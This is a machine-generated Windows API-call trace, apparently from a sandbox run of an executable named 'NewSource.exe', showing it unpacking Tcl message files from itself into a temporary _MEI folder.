GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.615] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.615] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.615] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.615] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.615] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.615] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.615] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.615] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.615] CloseHandle (hObject=0x10c) returned 1 [0037.615] GetLastError () returned 0x0 [0037.615] SetLastError (dwErrCode=0x0) [0037.615] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.615] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.615] GetFileType (hFile=0x10c) returned 0x1 [0037.615] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.615] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.615] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.615] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.615] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.616] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.616] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.616] CloseHandle (hObject=0x10c) returned 1 [0037.616] GetLastError () returned 0x0 [0037.616] SetLastError (dwErrCode=0x0) [0037.616] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ms_my.msg") returned 64 [0037.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ms_my.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ms_my.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.616] GetLastError () returned 0x2 [0037.616] SetLastError (dwErrCode=0x2) [0037.616] GetLastError () returned 0x2 [0037.616] SetLastError (dwErrCode=0x2) [0037.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ms_my.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ms_my.msg", lpFilePart=0x0) returned 0x3f [0037.616] GetLastError () returned 0x2 [0037.616] SetLastError (dwErrCode=0x2) [0037.616] GetLastError () returned 0x2 [0037.616] SetLastError (dwErrCode=0x2) [0037.616] GetLastError () returned 0x2 [0037.616] SetLastError (dwErrCode=0x2) [0037.616] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ms_my.msg") returned 64 [0037.616] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ms_my.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ms_my.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.617] GetFileType (hFile=0x10c) returned 0x1 [0037.617] htonl (hostlong=0x3010000) returned 0x103 [0037.617] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.617] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x103, lpOverlapped=0x0) returned 1 [0037.618] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.618] CloseHandle (hObject=0x10c) returned 1 [0037.618] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.618] htonl (hostlong=0x30000000) returned 0x30 [0037.618] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.618] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.619] GetFileType (hFile=0x10c) returned 0x1 [0037.619] htonl (hostlong=0x2d895700) returned 0x57892d [0037.619] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c392d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.619] htonl (hostlong=0x1d010000) returned 0x11d [0037.619] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x11d) returned 0x550600 [0037.619] htonl (hostlong=0x1d010000) returned 0x11d [0037.619] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.619] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.619] htonl (hostlong=0xb2020000) returned 0x2b2 [0037.619] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2b2) returned 0x550728 [0037.619] htonl (hostlong=0x1d010000) returned 0x11d [0037.619] htonl (hostlong=0xb2020000) returned 0x2b2 [0037.619] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.619] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.619] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.619] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.619] CloseHandle (hObject=0x10c) returned 1 [0037.619] GetLastError () returned 0x0 [0037.619] SetLastError (dwErrCode=0x0) [0037.619] GetLastError () returned 0x0 [0037.619] SetLastError (dwErrCode=0x0) [0037.619] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.619] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.619] GetFileType (hFile=0x10c) returned 0x1 [0037.619] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.619] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.620] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.620] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.620] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.620] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.620] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.620] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.620] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.620] CloseHandle (hObject=0x10c) returned 1 [0037.620] GetLastError () returned 0x0 [0037.620] SetLastError (dwErrCode=0x0) [0037.620] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.620] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.620] GetFileType (hFile=0x10c) returned 0x1 [0037.620] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.620] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.620] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.620] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.620] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.620] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.620] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.620] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.620] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.620] CloseHandle (hObject=0x10c) returned 1 [0037.621] GetLastError () returned 0x0 [0037.621] SetLastError (dwErrCode=0x0) [0037.621] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mt.msg") returned 61 [0037.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mt.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\mt.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.621] GetLastError () returned 0x2 [0037.621] SetLastError (dwErrCode=0x2) [0037.621] GetLastError () returned 0x2 [0037.621] SetLastError (dwErrCode=0x2) [0037.621] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mt.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mt.msg", lpFilePart=0x0) returned 0x3c [0037.621] GetLastError () returned 0x2 [0037.621] SetLastError (dwErrCode=0x2) [0037.621] GetLastError () returned 0x2 [0037.621] SetLastError (dwErrCode=0x2) [0037.621] GetLastError () returned 0x2 [0037.621] SetLastError (dwErrCode=0x2) [0037.621] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mt.msg") returned 61 [0037.621] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\mt.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\mt.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.624] GetFileType (hFile=0x10c) returned 0x1 [0037.625] htonl (hostlong=0xb2020000) returned 0x2b2 [0037.625] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.625] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x2b2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x2b2, lpOverlapped=0x0) returned 1 [0037.626] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.626] CloseHandle (hObject=0x10c) returned 1 [0037.626] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550728 | out: hHeap=0x530000) returned 1 [0037.627] htonl (hostlong=0x30000000) returned 0x30 [0037.627] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.627] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.627] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.627] GetFileType (hFile=0x10c) returned 0x1 [0037.627] htonl (hostlong=0x4a8a5700) returned 0x578a4a [0037.627] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c3a4a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.627] htonl (hostlong=0x66010000) returned 0x166 [0037.627] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x166) returned 0x550600 [0037.627] htonl (hostlong=0x66010000) returned 0x166 [0037.627] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.627] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.627] htonl (hostlong=0x85040000) returned 0x485 [0037.627] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x485) returned 0x550770 [0037.627] htonl (hostlong=0x66010000) returned 0x166 [0037.627] htonl (hostlong=0x85040000) returned 0x485 [0037.627] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.627] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.627] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.627] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.627] CloseHandle (hObject=0x10c) returned 1 [0037.627] GetLastError () returned 0x0 [0037.627] SetLastError (dwErrCode=0x0) [0037.627] GetLastError () returned 0x0 [0037.627] SetLastError (dwErrCode=0x0) [0037.627] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.628] GetFileType (hFile=0x10c) returned 0x1 [0037.628] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.628] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.628] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.628] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.628] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.628] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.628] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.628] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.628] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.628] CloseHandle (hObject=0x10c) returned 1 [0037.628] GetLastError () returned 0x0 [0037.628] SetLastError (dwErrCode=0x0) [0037.628] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.628] GetFileType (hFile=0x10c) returned 0x1 [0037.628] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.628] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.628] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.628] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.628] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.628] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.629] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.629] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.629] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.629] CloseHandle (hObject=0x10c) returned 1 [0037.629] GetLastError () returned 0x0 [0037.629] SetLastError (dwErrCode=0x0) [0037.629] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nb.msg") returned 61 [0037.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nb.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\nb.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.629] GetLastError () returned 0x2 [0037.629] SetLastError (dwErrCode=0x2) [0037.629] GetLastError () returned 0x2 [0037.629] SetLastError (dwErrCode=0x2) [0037.629] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nb.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nb.msg", lpFilePart=0x0) returned 0x3c [0037.629] GetLastError () returned 0x2 [0037.629] SetLastError (dwErrCode=0x2) [0037.629] GetLastError () returned 0x2 [0037.629] SetLastError (dwErrCode=0x2) [0037.629] GetLastError () returned 0x2 [0037.629] SetLastError (dwErrCode=0x2) [0037.629] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nb.msg") returned 61 [0037.629] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nb.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\nb.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.630] 